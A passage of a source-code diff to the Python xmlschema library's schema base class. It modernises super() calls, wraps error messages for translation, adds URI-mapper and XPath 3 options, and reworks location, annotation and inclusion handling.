bases: Tuple[Type[Any], ...], dict_: Dict[str, Any]) if len(bases) > 1: meta_bases += bases[1:] - meta_schema_class = super(XMLSchemaMeta, mcs).__new__( - mcs, meta_schema_class_name, meta_bases, dict_ + meta_schema_class = cast( + 'XMLSchemaBase', + super().__new__(mcs, meta_schema_class_name, meta_bases, dict_) ) meta_schema_class.__qualname__ = meta_schema_class_name module = sys.modules[dict_['__module__']] @@ -149,9 +137,9 @@ def __new__(mcs, name: str, bases: Tuple[Type[Any], ...], dict_: Dict[str, Any]) dict_['meta_schema'] = meta_schema # Create the class and check some basic attributes - cls = super(XMLSchemaMeta, mcs).__new__(mcs, name, bases, dict_) + cls = super().__new__(mcs, name, bases, dict_) if cls.XSD_VERSION not in ('1.0', '1.1'): - raise XMLSchemaValueError("XSD_VERSION must be '1.0' or '1.1'") + raise XMLSchemaValueError(_("XSD_VERSION must be '1.0' or '1.1'")) return cls @@ -160,7 +148,7 @@ class XMLSchemaBase(XsdValidator, ElementPathMixin[Union[SchemaType, XsdElement] """ Base class for an XML Schema instance. - :param source: an URI that reference to a resource or a file path or a file-like \ + :param source: a URI that reference to a resource or a file path or a file-like \ object or a string containing the schema or an Element or an ElementTree document \ or an :class:`XMLResource` instance. A multi source initialization is supported \ providing a not empty list of XSD sources. @@ -175,13 +163,13 @@ class XMLSchemaBase(XsdValidator, ElementPathMixin[Union[SchemaType, XsdElement] :param converter: is an optional argument that can be an :class:`XMLSchemaConverter` \ subclass or instance, used for defining the default XML data converter for XML Schema instance. :param locations: schema extra location hints, that can include custom resource locations \ - (eg. local XSD file instead of remote resource) or additional namespaces to import after \ + (e.g. local XSD file instead of remote resource) or additional namespaces to import after \ processing schema's import statements. Can be a dictionary or a sequence of couples \ (namespace URI, resource URL). Extra locations passed using a tuple container are not \ normalized. :param base_url: is an optional base URL, used for the normalization of relative paths \ when the URL of the schema resource can't be obtained from the source argument. - :param allow: defines the security mode for accessing resource locations. Can be \ + :param allow: the security mode for accessing resource locations. Can be \ 'all', 'remote', 'local' or 'sandbox'. Default is 'all' that means all types of \ URLs are allowed. With 'remote' only remote resource URLs are allowed. With 'local' \ only file paths and URLs are allowed. With 'sandbox' only file paths and URLs that \ @@ -190,13 +178,18 @@ class XMLSchemaBase(XsdValidator, ElementPathMixin[Union[SchemaType, XsdElement] :param defuse: defines when to defuse XML data using a `SafeXMLParser`. Can be \ 'always', 'remote' or 'never'. For default defuses only remote XML data. :param timeout: the timeout in seconds for fetching resources. Default is `300`. + :param uri_mapper: an optional URI mapper for using relocated or URN-addressed \ + resources. Can be a dictionary or a function that takes the URI string and returns \ + a URL, or the argument if there is no mapping for it. :param build: defines whether build the schema maps. Default is `True`. :param use_meta: if `True` the schema processor uses the validator meta-schema, \ otherwise a new meta-schema is added at the end. In the latter case the meta-schema \ is rebuilt if any base namespace has been overridden by an import. Ignored if the \ argument *global_maps* is provided. :param use_fallback: if `True` the schema processor uses the validator fallback \ - location hints to load well-known namespaces (eg. xhtml). + location hints to load well-known namespaces (e.g. xhtml). + :param use_xpath3: if `True` an XSD 1.1 schema instance uses the XPath 3 processor \ + for assertions. For default a full XPath 2.0 processor is used for XSD 1.1 assertions. :param loglevel: for setting a different logging level for schema initialization \ and building. For default is WARNING (30). For INFO level set it with 20, for \ DEBUG level with 10. The default loglevel is restored after schema building, \ @@ -222,9 +215,8 @@ class XMLSchemaBase(XsdValidator, ElementPathMixin[Union[SchemaType, XsdElement] belong the declarations/definitions of the schema. If it's empty no namespace is associated \ with the schema. In this case the schema declarations can be reused from other namespaces as \ *chameleon* definitions. - :ivar validation: validation mode, can be 'strict', 'lax' or 'skip'. :ivar maps: XSD global declarations/definitions maps. This is an instance of \ - :class:`XsdGlobal`, that stores the *global_maps* argument or a new object \ + :class:`XsdGlobals`, that stores the *global_maps* argument or a new object \ when this argument is not provided. :ivar converter: the default converter used for XML data decoding/encoding. :ivar locations: schema location hints. @@ -233,7 +225,7 @@ class XMLSchemaBase(XsdValidator, ElementPathMixin[Union[SchemaType, XsdElement] :ivar imports: a dictionary of namespace imports of the schema, that maps namespace \ URI to imported schema object, or `None` in case of unsuccessful import. :ivar includes: a dictionary of included schemas, that maps a schema location to an \ - included schema. It also comprehend schemas included by "xs:redefine" or \ + included schema. It also comprehends schemas included by "xs:redefine" or \ "xs:override" statements. :ivar warnings: warning messages about failure of import and include elements. @@ -250,13 +242,14 @@ class XMLSchemaBase(XsdValidator, ElementPathMixin[Union[SchemaType, XsdElement] :ivar elements: `xsd:element` global declarations. :vartype elements: NamespaceView """ - # Instance attributes annotations + # Instance attributes type annotations source: XMLResource namespaces: NamespacesType converter: Union[ConverterType] locations: NamespaceResourcesMap maps: XsdGlobals imports: Dict[str, Optional[SchemaType]] + _import_statements: Set[str] includes: Dict[str, SchemaType] warnings: List[str] @@ -273,8 +266,10 @@ class XMLSchemaBase(XsdValidator, ElementPathMixin[Union[SchemaType, XsdElement] meta_schema: Optional['XMLSchemaBase'] = None BASE_SCHEMAS: Dict[str, str] = {} fallback_locations: Dict[str, str] = LOCATION_HINTS.copy() - _locations: Tuple[Tuple[str, str], ...] = () - _annotations = None + _annotations: Optional[List[XsdAnnotation]] = None + _components = None + _root_elements: Optional[Set[str]] = None + _xpath_node: Optional[SchemaElementNode] # XSD components classes xsd_notation_class = XsdNotation @@ -298,12 +293,13 @@ class XMLSchemaBase(XsdValidator, ElementPathMixin[Union[SchemaType, XsdElement] element_form_default = 'unqualified' block_default = '' final_default = '' - redefine = None + redefine: Optional['XMLSchemaBase'] = None # Additional defaults for XSD 1.1 default_attributes: Optional[Union[str, XsdAttributeGroup]] = None default_open_content = None - override = None + override: Optional['XMLSchemaBase'] = None + use_xpath3: bool = False # Store XPath constructors tokens (for schema and its assertions) xpath_tokens: Optional[Dict[str, Type[XPathToken]]] = None @@ -318,22 +314,18 @@ def __init__(self, source: Union[SchemaSourceType, List[SchemaSourceType]], allow: str = 'all', defuse: str = 'remote', timeout: int = 300, + uri_mapper: Optional[UriMapperType] = None, build: bool = True, use_meta: bool = True, use_fallback: bool = True, + use_xpath3: bool = False, loglevel: Optional[Union[str, int]] = None) -> None: - super(XMLSchemaBase, self).__init__(validation) + super().__init__(validation) self.lock = threading.Lock() # Lock for build operations if loglevel is not None: - if isinstance(loglevel, str): - level = loglevel.strip().upper() - if level not in {'DEBUG', 'INFO', 'WARN', 'WARNING', 'ERROR', 'CRITICAL'}: - raise XMLSchemaValueError("{!r} is not a valid loglevel".format(loglevel)) - logger.setLevel(getattr(logging, level)) - else: - logger.setLevel(loglevel) + set_logging_level(loglevel) elif build and global_maps is None: logger.setLevel(logging.WARNING) @@ -345,7 +337,7 @@ def __init__(self, source: Union[SchemaSourceType, List[SchemaSourceType]], other_sources: List[SchemaSourceType] if isinstance(source, list): if not source: - raise XMLSchemaValueError("no XSD source provided!") + raise XMLSchemaValueError(_("no XSD source provided!")) other_sources = source[1:] source = source[0] else: @@ -354,29 +346,32 @@ def __init__(self, source: Union[SchemaSourceType, List[SchemaSourceType]], if isinstance(source, XMLResource): self.source = source else: - self.source = XMLResource(source, base_url, allow, defuse, timeout) + self.source = XMLResource( + source, base_url, allow, defuse, timeout, uri_mapper=uri_mapper + ) - logger.debug("Read schema from %r", self.source.url or self.source.source) + logger.debug("Load schema from %r", self.source.url or self.source.source) self.imports = {} + self._import_statements = set() self.includes = {} self.warnings = [] - self._root_elements = None # type: Optional[Set[str]] self.name = self.source.name root = self.source.root # Initialize schema's namespaces, the XML namespace is implicitly declared. - self.namespaces = self.source.get_namespaces({'xml': XML_NAMESPACE}, root_only=True) + self.namespaces = self.source.get_namespaces({'xml': XML_NAMESPACE}) if 'targetNamespace' in root.attrib: self.target_namespace = root.attrib['targetNamespace'].strip() if not self.target_namespace: # https://www.w3.org/TR/2004/REC-xmlschema-1-20041028/structures.html#element-schema - self.parse_error("the attribute 'targetNamespace' cannot be an empty string", root) + msg = _("the attribute 'targetNamespace' cannot be an empty string") + self.parse_error(msg, root) elif namespace is not None and self.target_namespace != namespace: - msg = "wrong namespace (%r instead of %r) for XSD resource %s" - self.parse_error(msg % (self.target_namespace, namespace, self.url), root) + msg = _("wrong namespace ({0!r} instead of {1!r}) for XSD resource {2}") + self.parse_error(msg.format(self.target_namespace, namespace, self.url), root) if not self.target_namespace and namespace is not None: # Chameleon schema case @@ -388,8 +383,13 @@ def __init__(self, source: Union[SchemaSourceType, List[SchemaSourceType]], # If not declared map the default namespace to no namespace self.namespaces[''] = '' + if self.target_namespace == XMLNS_NAMESPACE: + # https://www.w3.org/TR/xmlschema11-1/#sec-nss-special + msg = _(f"The namespace {XMLNS_NAMESPACE} cannot be used as 'targetNamespace'") + raise XMLSchemaValueError(msg) + logger.debug("Schema targetNamespace is %r", self.target_namespace) - logger.debug("Declared namespaces: %r", self.namespaces) + logger.debug("Schema namespaces: %r", self.namespaces) # Parses the schema defaults if 'attributeFormDefault' in root.attrib: @@ -404,7 +404,7 @@ def __init__(self, source: Union[SchemaSourceType, List[SchemaSourceType]], else: try: self.block_default = get_xsd_derivation_attribute( - root, 'blockDefault', {'extension', 'restriction', 'substitution'} + root, 'blockDefault', XSD_ELEMENT_DERIVATIONS ) except ValueError as err: self.parse_error(err, root) @@ -430,16 +430,21 @@ def __init__(self, source: Union[SchemaSourceType, List[SchemaSourceType]], self.include_schema(child.attrib['schemaLocation'], self.base_url) return # Meta-schemas don't need to be checked and don't process imports - # Completes the namespaces map with internal declarations, remapping same prefixes. - self.namespaces = self.source.get_namespaces(self.namespaces) + # Complete the namespace map with internal declarations, remapping + # identical prefixes that refer to different namespaces. + self.namespaces = self.source.get_namespaces(self.namespaces, root_only=False) - if locations: - if isinstance(locations, tuple): - self._locations = locations - else: - self._locations = tuple(normalize_locations(locations, self.base_url)) + if isinstance(locations, NamespaceResourcesMap): + self.locations = locations + elif not locations: + self.locations = NamespaceResourcesMap() + elif isinstance(locations, tuple): + self.locations = NamespaceResourcesMap(locations) + else: + self.locations = NamespaceResourcesMap( + normalize_locations(locations, self.base_url) + ) - self.locations = NamespaceResourcesMap(self.source.get_locations(self._locations)) if not use_fallback: self.fallback_locations = {} @@ -451,19 +456,24 @@ def __init__(self, source: Union[SchemaSourceType, List[SchemaSourceType]], if isinstance(global_maps, XsdGlobals): self.maps = global_maps elif global_maps is not None: - raise XMLSchemaTypeError("'global_maps' argument must be an %r instance" % XsdGlobals) + raise XMLSchemaTypeError( + _("'global_maps' argument must be an %r instance") % XsdGlobals + ) elif use_meta and self.target_namespace not in self.meta_schema.maps.namespaces: self.maps = self.meta_schema.maps.copy(self, validation) else: self.maps = XsdGlobals(self, validation) + if use_xpath3 and self.XSD_VERSION > '1.0': + self.use_xpath3 = True + if any(ns == VC_NAMESPACE for ns in self.namespaces.values()): # For XSD 1.1+ apply versioning filter to schema tree. See the paragraph # 4.2.2 of XSD 1.1 (Part 1: Structures) definition for details. # Ref: https://www.w3.org/TR/xmlschema11-1/#cip if prune_etree(root, selector=lambda x: not self.version_check(x)): for k in list(root.attrib): - if k not in {'targetNamespace', VC_MIN_VERSION, VC_MAX_VERSION}: + if k not in ('targetNamespace', VC_MIN_VERSION, VC_MAX_VERSION): del root.attrib[k] # Validate the schema document (transforming validation errors to parse errors) @@ -496,14 +506,16 @@ def __init__(self, source: Union[SchemaSourceType, List[SchemaSourceType]], _source: Union[SchemaSourceType, XMLResource] for _source in other_sources: - if not isinstance(_source, XMLResource): - _source = XMLResource(_source, base_url, allow, defuse, timeout) + if isinstance(_source, XMLResource): + resource: XMLResource = _source + else: + resource = XMLResource(_source, base_url, allow, defuse, timeout) - if not _source.root.get('targetNamespace') and self.target_namespace: + if not resource.root.get('targetNamespace') and self.target_namespace: # Adding a chameleon schema: set the namespace with targetNamespace - self.add_schema(_source, namespace=self.target_namespace) + self.add_schema(resource, namespace=self.target_namespace) else: - self.add_schema(_source) + self.add_schema(resource) try: if build: @@ -532,10 +544,10 @@ def __repr__(self) -> str: def __setattr__(self, name: str, value: Any) -> None: if name == 'maps': if self.meta_schema is None and hasattr(self, 'maps'): - msg = "cannot change the global maps instance of a meta-schema" + msg = _("cannot change the global maps instance of a meta-schema") raise XMLSchemaValueError(msg) - super(XMLSchemaBase, self).__setattr__(name, value) + super().__setattr__(name, value) self.notations = NamespaceView(value.notations, self.target_namespace) self.types = NamespaceView(value.types, self.target_namespace) self.attributes = NamespaceView(value.attributes, self.target_namespace) @@ -550,20 +562,27 @@ def __setattr__(self, name: str, value: Any) -> None: else: if name == 'validation': check_validation_mode(value) - super(XMLSchemaBase, self).__setattr__(name, value) + super().__setattr__(name, value) def __iter__(self) -> Iterator[XsdElement]: - yield from sorted(self.elements.values(), key=lambda x: x.name) + yield from sorted(self.elements.values(), key=name_attribute) def __reversed__(self) -> Iterator[XsdElement]: - yield from sorted(self.elements.values(), key=lambda x: x.name, reverse=True) + yield from sorted(self.elements.values(), key=name_attribute, reverse=True) def __len__(self) -> int: return len(self.elements) @property def xpath_proxy(self) -> XMLSchemaProxy: - return XMLSchemaProxy(cast(XMLSchemaProtocol, self)) + return XMLSchemaProxy(self) + + @property + def xpath_node(self) -> SchemaElementNode: + """Returns an XPath node for processing an XPath expression on the schema instance.""" + if self._xpath_node is None: + self._xpath_node = build_schema_node_tree(root=self, uri=self.url) + return self._xpath_node @property def xsd_version(self) -> str: @@ -597,12 +616,14 @@ def filepath(self) -> Optional[str]: @property def allow(self) -> str: - """Defines the resource access security mode, can be 'all', 'local' or 'sandbox'.""" + """ + The resource access security mode: can be 'all', 'remote', 'local' or 'sandbox'. + """ return self.source.allow @property def defuse(self) -> str: - """Defines when to defuse XML data, can be 'always', 'remote' or 'never'.""" + """Defines when to defuse XML data: can be 'always', 'remote' or 'never'.""" return self.source.defuse @property @@ -610,6 +631,11 @@ def timeout(self) -> int: """Timeout in seconds for fetching resources.""" return self.source.timeout + @property + def uri_mapper(self) -> Optional[UriMapperType]: + """The optional URI mapper argument for relocating addressed resources.""" + return self.source.uri_mapper + @property def use_meta(self) -> bool: """Returns `True` if the class meta-schema is used.""" @@ -665,13 +691,15 @@ def target_prefix(self) -> str: def builtin_types(cls) -> NamespaceView[BaseXsdType]: """Returns the XSD built-in types of the meta-schema.""" if cls.meta_schema is None: - raise XMLSchemaRuntimeError("meta-schema unavailable for %r" % cls) + raise XMLSchemaRuntimeError(_("meta-schema unavailable for %r") % cls) try: meta_schema: SchemaType = cls.meta_schema.maps.namespaces[XSD_NAMESPACE][0] builtin_types = meta_schema.types except KeyError: - raise XMLSchemaNotBuiltError(cls.meta_schema, "missing XSD namespace in meta-schema") + raise XMLSchemaNotBuiltError( + cls.meta_schema, _("missing XSD namespace in meta-schema") + ) else: if not builtin_types: cls.meta_schema.build() @@ -679,13 +707,38 @@ def builtin_types(cls) -> NamespaceView[BaseXsdType]: @property def annotations(self) -> List[XsdAnnotation]: + """ + Annotations related to schema object. This list includes the annotations + of xs:include, xs:import, xs:redefine and xs:override elements. + """ if self._annotations is None: - self._annotations = [ - XsdAnnotation(child, self) for child in self.source.root - if child.tag == XSD_ANNOTATION - ] + self._annotations = [] + for elem in self.source.root: + if elem.tag == XSD_ANNOTATION: + self._annotations.append(XsdAnnotation(elem, self)) + elif elem.tag in (XSD_IMPORT, XSD_INCLUDE, XSD_DEFAULT_OPEN_CONTENT): + child = get_xsd_annotation_child(elem) + if child is not None: + annotation = XsdAnnotation(child, self, parent_elem=elem) + self._annotations.append(annotation) + elif elem.tag in (XSD_REDEFINE, XSD_OVERRIDE): + for child in elem: + if child.tag == XSD_ANNOTATION: + annotation = XsdAnnotation(child, self, parent_elem=elem) + self._annotations.append(annotation) + return self._annotations + @property + def components(self) -> Dict[ElementType, XsdComponent]: + """A map from XSD ElementTree elements to their schema components.""" + if self._components is None: + self.check_validator(self.validation) + self._components = { + c.elem: c for c in self.iter_components() if isinstance(c, XsdComponent) + } + return self._components + @property def root_elements(self) -> List[XsdElement]: """ @@ -698,7 +751,7 @@ def root_elements(self) -> List[XsdElement]: elif len(self.elements) == 1: return list(self.elements.values()) elif self._root_elements is None: - names = set(e.name for e in self.elements.values()) + names = {e.name for e in self.elements.values()} for xsd_element in self.elements.values(): for e in xsd_element.iter(): if e is xsd_element or isinstance(e, XsdAnyElement): @@ -741,9 +794,9 @@ def create_meta_schema(cls, source: Optional[str] = None, instance for the new meta schema. If not provided a new map is created. """ if source is None: - if cls.meta_schema is None or cls.meta_schema.url: - raise XMLSchemaValueError("Missing meta-schema source URL") - source = cast(str, cls.meta_schema.url) + if cls.meta_schema is None or not cls.meta_schema.url: + raise XMLSchemaValueError(_("Missing meta-schema source URL")) + source = cls.meta_schema.url _base_schemas: Union[ItemsView[str, str], List[Tuple[str, str]]] if base_schemas is None: @@ -754,19 +807,28 @@ def create_meta_schema(cls, source: Optional[str] = None, try: _base_schemas = [(n, l) for n, l in base_schemas] except ValueError: - raise ValueError( - "The argument 'base_schemas' is not a dictionary nor a sequence of items" - ) + msg = _("The argument 'base_schemas' must be a " + "dictionary or a sequence of couples") + raise XMLSchemaValueError(msg) from None meta_schema: SchemaType meta_schema_class = cls if cls.meta_schema is None else cls.meta_schema.__class__ - meta_schema = meta_schema_class(source, XSD_NAMESPACE, global_maps=global_maps, - defuse='never', build=False) + + if global_maps is None: + meta_schema = meta_schema_class(source, XSD_NAMESPACE, defuse='never', build=False) + global_maps = meta_schema.maps + elif XSD_NAMESPACE not in global_maps.namespaces: + meta_schema = meta_schema_class(source, XSD_NAMESPACE, global_maps=global_maps, + defuse='never', build=False) + else: + meta_schema = global_maps.namespaces[XSD_NAMESPACE][0] + for ns, location in _base_schemas: if ns == XSD_NAMESPACE: meta_schema.include_schema(location=location) - else: + elif ns not in global_maps.namespaces: meta_schema.import_schema(namespace=ns, location=location) + return meta_schema def simple_type_factory(self, elem: ElementType, @@ -774,7 +836,7 @@ def simple_type_factory(self, elem: ElementType, parent: Optional[XsdComponent] = None) -> XsdSimpleType: """ Factory function for XSD simple types. Parses the xs:simpleType element and its - child component, that can be a restriction, a list or an union. Annotations are + child component, that can be a restriction, a list or a union. Annotations are linked to simple type instance, omitting the inner annotation if both are given. """ if schema is None: @@ -791,7 +853,8 @@ def simple_type_factory(self, elem: ElementType, try: child = elem[1] except IndexError: - schema.parse_error("(restriction | list | union) expected", elem) + msg = _("(restriction | list | union) expected") + schema.parse_error(msg, elem) return cast(XsdSimpleType, self.maps.types[XSD_ANY_SIMPLE_TYPE]) xsd_type: XsdSimpleType @@ -802,7 +865,8 @@ def simple_type_factory(self, elem: ElementType, elif child.tag == XSD_UNION: xsd_type = self.xsd_union_class(child, schema, parent) else: - schema.parse_error("(restriction | list | union) expected", elem) + msg = _("(restriction | list | union) expected") + schema.parse_error(msg, elem) return cast(XsdSimpleType, self.maps.types[XSD_ANY_SIMPLE_TYPE]) if annotation is not None: @@ -812,11 +876,13 @@ def simple_type_factory(self, elem: ElementType, xsd_type.name = get_qname(schema.target_namespace, elem.attrib['name']) except KeyError: if parent is None: - schema.parse_error("missing attribute 'name' in a global simpleType", elem) + msg = _("missing attribute 'name' in a global simpleType") + schema.parse_error(msg, elem) xsd_type.name = 'nameless_%s' % str(id(xsd_type)) else: if parent is not None: - schema.parse_error("attribute 'name' not allowed for a local simpleType", elem) + msg = _("attribute 'name' not allowed for a local simpleType") + schema.parse_error(msg, elem) xsd_type.name = None if 'final' in elem.attrib: @@ -832,7 +898,7 @@ def create_any_content_group(self, parent: Union[XsdComplexType, XsdGroup], """ Creates a model group related to schema instance that accepts any content. - :param parent: the parent component to set for the any content group. + :param parent: the parent component to set for the content group. :param any_element: an optional any element to use for the content group. \ When provided it's copied, linked to the group and the minOccurs/maxOccurs \ are set to 0 and 'unbounded'. @@ -840,7 +906,7 @@ def create_any_content_group(self, parent: Union[XsdComplexType, XsdGroup], group: XsdGroup = self.xsd_group_class(SEQUENCE_ELEMENT, self, parent) if isinstance(any_element, XsdAnyElement): - particle = any_element.copy() + particle = _copy(any_element) particle.min_occurs = 0 particle.max_occurs = None particle.parent = group @@ -853,13 +919,14 @@ def create_any_content_group(self, parent: Union[XsdComplexType, XsdGroup], def create_empty_content_group(self, parent: Union[XsdComplexType, XsdGroup], model: str = 'sequence', **attrib: Any) -> XsdGroup: if model == 'sequence': - group_elem = etree_element(XSD_SEQUENCE, **attrib) + group_elem = Element(XSD_SEQUENCE, **attrib) elif model == 'choice': - group_elem = etree_element(XSD_CHOICE, **attrib) + group_elem = Element(XSD_CHOICE, **attrib) elif model == 'all': - group_elem = etree_element(XSD_ALL, **attrib) + group_elem = Element(XSD_ALL, **attrib) else: - raise XMLSchemaValueError("'model' argument must be (sequence | choice | all)") + msg = _("'model' argument must be (sequence | choice | all)") + raise XMLSchemaValueError(msg) group_elem.text = '\n ' return self.xsd_group_class(group_elem, self, parent) @@ -869,7 +936,7 @@ def create_any_attribute_group(self, parent: Union[XsdComplexType, XsdElement]) """ Creates an attribute group related to schema instance that accepts any attribute. - :param parent: the parent component to set for the any attribute group. + :param parent: the parent component to set for the attribute group. """ attribute_group = self.xsd_attribute_group_class( ATTRIBUTE_GROUP_ELEMENT, self, parent @@ -884,19 +951,19 @@ def create_empty_attribute_group(self, parent: Union[XsdComplexType, XsdElement] """ Creates an empty attribute group related to schema instance. - :param parent: the parent component to set for the any attribute group. + :param parent: the parent component to set for the attribute group. """ return self.xsd_attribute_group_class(ATTRIBUTE_GROUP_ELEMENT, self, parent) def create_any_type(self) -> XsdComplexType: """ - Creates an xs:anyType equivalent type related with the wildcards + Creates a xs:anyType equivalent type related with the wildcards connected to global maps of the schema instance in order to do a correct namespace lookup during wildcards validation. """ schema = self.meta_schema or self any_type = self.xsd_complex_type_class( - elem=etree_element(XSD_COMPLEX_TYPE, name=XSD_ANY_TYPE), + elem=Element(XSD_COMPLEX_TYPE, name=XSD_ANY_TYPE), schema=schema, parent=None, mixed=True, block='', final='' ) assert isinstance(any_type.content, XsdGroup) @@ -913,11 +980,11 @@ def create_any_type(self) -> XsdComplexType: def create_element(self, name: str, parent: Optional[XsdComponent] = None, text: Optional[str] = None, **attrib: Any) -> XsdElement: """ - Creates an xs:element instance related to schema component. + Creates a xs:element instance related to schema component. Used as dummy element for validation/decoding/encoding operations of wildcards and complex types. """ - elem = etree_element(XSD_ELEMENT, name=name, **attrib) + elem = Element(XSD_ELEMENT, name=name, **attrib) if text is not None: elem.text = text return self.xsd_element_class(elem=elem, schema=self, parent=parent) @@ -929,7 +996,7 @@ def copy(self) -> SchemaType: """ schema: SchemaType = object.__new__(self.__class__) schema.__dict__.update(self.__dict__) - schema.source = copy(self.source) + schema.source = _copy(self.source) schema.errors = self.errors[:] schema.warnings = self.warnings[:] schema.namespaces = dict(self.namespaces) @@ -941,25 +1008,6 @@ def copy(self) -> SchemaType: __copy__ = copy - @classmethod - def check_schema(cls, schema: SchemaType, - namespaces: Optional[NamespacesType] = None) -> None: - """ - Validates the given schema against the XSD meta-schema (:attr:`meta_schema`). - - :param schema: the schema instance that has to be validated. - :param namespaces: is an optional mapping from namespace prefix to URI. - - :raises: :exc:`XMLSchemaValidationError` if the schema is invalid. - """ - if cls.meta_schema is None: - raise XMLSchemaRuntimeError("meta-schema unavailable for %r" % cls) - elif not cls.meta_schema.maps.types: - cls.meta_schema.maps.build() - - for error in cls.meta_schema.iter_errors(schema.source, namespaces=namespaces): - raise error - def check_validator(self, validation: str = 'strict') -> None: """Checks the status of a schema validator against a validation mode.""" check_validation_mode(validation) @@ -973,7 +1021,7 @@ def check_validator(self, validation: str = 'strict') -> None: for comp in self.iter_globals()): pass else: - raise XMLSchemaNotBuiltError(self, "schema %r is not built" % self) + raise XMLSchemaNotBuiltError(self, _("schema %r is not built") % self) def build(self) -> None: """Builds the schema's XSD global maps.""" @@ -982,18 +1030,22 @@ def build(self) -> None: def clear(self) -> None: """Clears the schema's XSD global maps.""" self.maps.clear() + self._xpath_node = None + self._annotations = None + self._components = None + self._root_elements = None @property def built(self) -> bool: if any(not isinstance(g, XsdComponent) or not g.built for g in self.iter_globals()): return False - for _ in self.iter_globals(): + for _xsd_global in self.iter_globals(): return True if self.meta_schema is None: return False # No XSD globals: check with a lookup of schema child elements. - prefix = '{%s}' % self.target_namespace if self.target_namespace else '' + prefix = f'{{{self.target_namespace}}}' if self.target_namespace else '' for child in self.source.root: if child.tag in {XSD_REDEFINE, XSD_OVERRIDE}: for e in filter(lambda x: x.tag in GLOBAL_TAGS, child): @@ -1078,7 +1130,8 @@ def get_schema(self, namespace: str) -> SchemaType: except KeyError: if not namespace: return self - raise XMLSchemaKeyError('the namespace {!r} is not loaded'.format(namespace)) from None + msg = _('the namespace {!r} is not loaded') + raise XMLSchemaKeyError(msg.format(namespace)) from None def get_converter(self, converter: Optional[ConverterType] = None, **kwargs: Any) -> XMLSchemaConverter: @@ -1094,13 +1147,13 @@ def get_converter(self, converter: Optional[ConverterType] = None, converter = self.converter if isinstance(converter, XMLSchemaConverter): - return converter.copy(**kwargs) + return converter.copy(keep_namespaces=False, **kwargs) elif issubclass(converter, XMLSchemaConverter): # noinspection PyCallingNonCallable return converter(**kwargs) else: - msg = "'converter' argument must be a %r subclass or instance: %r" - raise XMLSchemaTypeError(msg % (XMLSchemaConverter, converter)) + msg = _("'converter' argument must be a {0!r} subclass or instance: {1!r}") + raise XMLSchemaTypeError(msg.format(XMLSchemaConverter, converter)) def get_locations(self, namespace: str) -> List[str]: """Get a list of location hints for a namespace.""" @@ -1138,72 +1191,68 @@ def create_bindings(self, *bases: type, **attrs: Any) -> None: def _parse_inclusions(self) -> None: """Processes schema document inclusions and redefinitions/overrides.""" + logger.debug("Processing inclusions of schema %r", self) + for child in self.source.root: + if 'schemaLocation' not in child.attrib: + continue + + location = child.attrib['schemaLocation'].strip() if child.tag == XSD_INCLUDE: try: - location = child.attrib['schemaLocation'].strip() - logger.info("Include schema from %r", location) + logger.debug("Include schema from %r", location) self.include_schema(location, self.base_url) - except KeyError: - # Attribute missing error already found by validation against meta-schema - pass - except (OSError, IOError) as err: + except OSError as err: # It is not an error if the location fail to resolve: # https://www.w3.org/TR/2012/REC-xmlschema11-1-20120405/#compound-schema # https://www.w3.org/TR/2012/REC-xmlschema11-1-20120405/#src-include self.warnings.append("Include schema failed: %s." % str(err)) warnings.warn(self.warnings[-1], XMLSchemaIncludeWarning, stacklevel=3) except (XMLSchemaParseError, XMLSchemaTypeError, ParseError) as err: - msg = 'cannot include schema %r: %s' % (child.attrib['schemaLocation'], err) + msg = _('cannot include schema {0!r}: {1}') if isinstance(err, (XMLSchemaParseError, ParseError)): - self.parse_error(msg) + self.parse_error(msg.format(location, err), child) else: - raise type(err)(msg) + raise type(err)(msg.format(location, err)) elif child.tag == XSD_REDEFINE: try: - location = child.attrib['schemaLocation'].strip() logger.info("Redefine schema %r", location) schema = self.include_schema(location, self.base_url) - except KeyError: - # Attribute missing error already found by validation against meta-schema - pass - except (OSError, IOError) as err: - # If the redefine doesn't contain components (annotation excluded) - # the statement is equivalent to an include, so no error is generated. - # Otherwise fails. - self.warnings.append("Redefine schema failed: %s." % str(err)) + except OSError as err: + # If the xs:redefine doesn't contain components (annotation excluded) + # the statement is equivalent to an include, so no error is generated, + # otherwise fails. + self.warnings.append(_("Redefine schema failed: %s") % str(err)) warnings.warn(self.warnings[-1], XMLSchemaIncludeWarning, stacklevel=3) if any(e.tag != XSD_ANNOTATION and not callable(e.tag) for e in child): self.parse_error(err, child) except (XMLSchemaParseError, XMLSchemaTypeError, ParseError) as err: - msg = 'cannot redefine schema %r: %s' % (child.attrib['schemaLocation'], err) + msg = _('cannot redefine schema {0!r}: {1}') if isinstance(err, (XMLSchemaParseError, ParseError)): - self.parse_error(msg, child) + self.parse_error(msg.format(location, err), child) else: - raise type(err)(msg) + raise type(err)(msg.format(location, err)) else: schema.redefine = self elif child.tag == XSD_OVERRIDE and self.XSD_VERSION != '1.0': try: - location = child.attrib['schemaLocation'].strip() logger.info("Override schema %r", location) schema = self.include_schema(location, self.base_url) - except KeyError: - # Attribute missing error already found by validation against meta-schema - pass - except (OSError, IOError) as err: + except OSError as err: # If the override doesn't contain components (annotation excluded) - # the statement is equivalent to an include, so no error is generated. - # Otherwise fails. - self.warnings.append("Override schema failed: %s." % str(err)) + # the statement is equivalent to an include, so no error is generated, + # otherwise fails. + self.warnings.append(_("Override schema failed: %s") % str(err)) warnings.warn(self.warnings[-1], XMLSchemaIncludeWarning, stacklevel=3) if any(e.tag != XSD_ANNOTATION and not callable(e.tag) for e in child): self.parse_error(str(err), child) else: schema.override = self + logger.debug("Inclusions of schema %r processed", self) + def include_schema(self, location: str, base_url: Optional[str] = None, build: bool = False) -> SchemaType: """ @@ -1215,24 +1264,28 @@ def include_schema(self, location: str, base_url: Optional[str] = None, :return: the included :class:`XMLSchema` instance. """ schema: SchemaType - schema_url = fetch_resource(location, base_url) + url = normalize_url(location, base_url) + for schema in self.maps.namespaces[self.target_namespace]: - if schema_url == schema.url: - logger.info("Resource %r is already loaded", location) + if url == schema.url: + logger.debug("Resource %r is already loaded", url) break else: + logger.info("Include schema from %r", url) schema = type(self)( - source=schema_url, + source=url, namespace=self.target_namespace, validation=self.validation, global_maps=self.maps, converter=self.converter, - locations=self._locations, + locations=self.locations, base_url=self.base_url, allow=self.allow, defuse=self.defuse, timeout=self.timeout, + uri_mapper=self.uri_mapper, build=build, + use_xpath3=self.use_xpath3, ) if schema is self: @@ -1240,7 +1293,7 @@ def include_schema(self, location: str, base_url: Optional[str] = None, elif location not in self.includes: self.includes[location] = schema elif self.includes[location] is not schema: - self.includes[schema_url] = schema + self.includes[url] = schema return schema def _parse_imports(self) -> None: @@ -1248,6 +1301,7 @@ def _parse_imports(self) -> None: Parse namespace 